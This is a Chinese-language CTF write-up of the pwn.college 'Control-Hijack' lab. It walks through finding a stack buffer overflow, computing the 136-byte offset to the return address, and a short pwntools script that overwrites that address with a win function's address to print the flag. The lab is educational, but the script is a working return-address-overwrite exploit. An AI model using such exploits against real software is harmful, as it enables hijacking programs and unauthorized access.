Control-Hijack

题目简介

需要我们劫持函数的控制流,但具体劫持到哪,需要反汇编整个程序来决定

漏洞点分析

首先将/challenge下的二进制文件下载到本地,拖到IDA里看一下,(F5反编译,即看C伪代码)

个人习惯首先观察main函数


可以看到main调用了challenge,并且main里面没有发现溢出点,那只能进challenge里看一下


很好,在challenge中找到了溢出点read,给了4096个字节,但缓冲区只有14个字节,完全够覆盖到返回地址

然后checksec命令查看程序开启了哪些保护

1
checksec /challenge/binary-exploitation-control-hijack

如下图,发现只开了NX


说明不能往栈上写shellcode

同时,观察左侧函数名一栏存在一个win函数,点进去看一下,发现是输出flag的功能,如图


至此,漏洞点就清晰了,我们需要覆盖返回地址为win函数的地址,劫持challenge函数的控制流

漏洞点利用

首先需要确定缓冲区到返回地址的偏移,记录两种方法:

第一个是通过IDA,注意challenge函数反编译的截图,在第5行buf变量后面有一个[rbp-80H]的字段,联系栈帧结构,可以知道返回地址在缓冲区的高0x80+0x8=136字节处

第二个是通过gdb的pwndbg插件:

首先在gdb中运行反汇编命令,拿到challenge函数的ret指令的地址

1
disas challenge


可以看到在challenge函数+289位置,那么就在ret处打上断点

之后通过cyclic生成模式字符串,将该字符串作为输入,如下图


最后通过cyclic -l命令,查找rsp指向的字符串的偏移,即是返回地址的偏移


之后确定win函数地址,由于没有开启PIE,可以采用objdump命令进行反汇编,直接拿到win的地址

1
objdump -d /challenge/binary-exploitation-control-hijack


可以看到win函数在0x401c20的地方

因此可以编写出如下利用脚本了

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux', arch='x86_64',log_level='debug')
ioHandler=process("/challenge/binary-exploitation-control-hijack")
offset=136
winAddr=0x401c20
ioHandler.recvuntil("Send your payload (up to 4096 bytes)!\n")
payload=b'a'*offset+p64(winAddr)
ioHandler.send(payload)
flag=ioHandler.recvall().decode()
print(flag)

直接运行即可拿到flag了


Control-Hijack
http://0x4a-210.github.io/2025/07/19/pwn.college/Intro-to-Cybersecurity/Pwn/Control-Hijack/
Posted on
July 19, 2025
Licensed under